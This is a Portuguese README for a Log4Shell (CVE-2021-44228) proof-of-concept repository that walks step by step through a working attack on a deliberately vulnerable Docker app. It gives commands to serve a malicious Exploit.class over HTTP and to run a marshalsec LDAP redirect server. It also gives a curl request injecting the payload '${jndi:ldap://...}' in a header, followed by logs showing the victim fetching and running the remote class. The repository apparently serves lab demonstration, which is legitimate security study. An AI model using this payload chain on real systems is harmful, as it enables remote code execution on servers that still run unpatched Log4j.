
PoC for CVE-2021-44228.
O objetivo deste repositório é fornecer todos os componentes necessários para explorar o CVE-2021-44228, apelidado de Log4Shell, e mostrar como explorá-lo.
Os ingredientes necessários para explorar esta vulnerabilidade são os seguintes:
Créditos:
Pré-requisitos:
Servidor LDAP e Servidor HTTPServidor HTTP1. Navegue até a pasta exploit e inicie o servidor http usando Python.
python3 -m http.server PORT
Servidor LDAP1. Navegue até a pasta ldap_server e compile o pom.xml
mvn clean package -DskipTests
2. Navegue até a pasta target e inicie o servidor especificando http_server_ip e http_server_port
java -cp ldap_server-1.0-all.jar marshalsec.jndi.LDAPRefServer "http://http_server_ip:http_server_port/#Exploit"
Nota: este comando executa o servidor ldap malicioso, forçando-o a responder com a URI do Exploit.class para toda consulta ldap.
Aplicação VulnerávelExecute o contêiner docker da aplicação vulnerável
docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app
Nota: por padrão, estamos executando a aplicação vulnerável na porta 8080, sinta-se à vontade para alterá-la.
Assim que a vulnerable_application, o ldap_server e o http_server estiverem em execução, envie uma requisição http maliciosa para o servidor vulnerável.
curl VULNERABLE_APPLICATION_IP:8080 -H 'X-Api-Version: ${jndi:ldap://ldap_server_ip:1389/a}'
A vulnerable_application registrará o payload e realizará uma consulta ldap
2021-12-24 18:48:14.644 INFO 1 --- [nio-8080-exec-1] HelloWorld: Received a request for API version ${jndi:ldap://10.0.2.15:1389/a}
O ldap_server responderá com a URI do Exploit.class
Listening on 0.0.0.0:1389
Send LDAP reference result for a redirecting to http://10.0.2.15:8443/Exploit.class
O http_server receberá uma requisição para Exploit.class
Serving HTTP on 0.0.0.0 port 8443 (http://0.0.0.0:8443/) ...
172.17.0.2 - - [24/Dec/2021 19:48:14] "GET /Exploit.class HTTP/1.1" 200 -
Finalmente, podemos verificar que o exploit criou um novo arquivo no sistema de arquivos da vítima. Neste exemplo, precisamos verificar o sistema de arquivos do contêiner docker.

https://www.lunasec.io/docs/blog/log4j-zero-day/
https://github.com/mbechler/marshalsec
https://github.com/christophetd/log4shell-vulnerable-app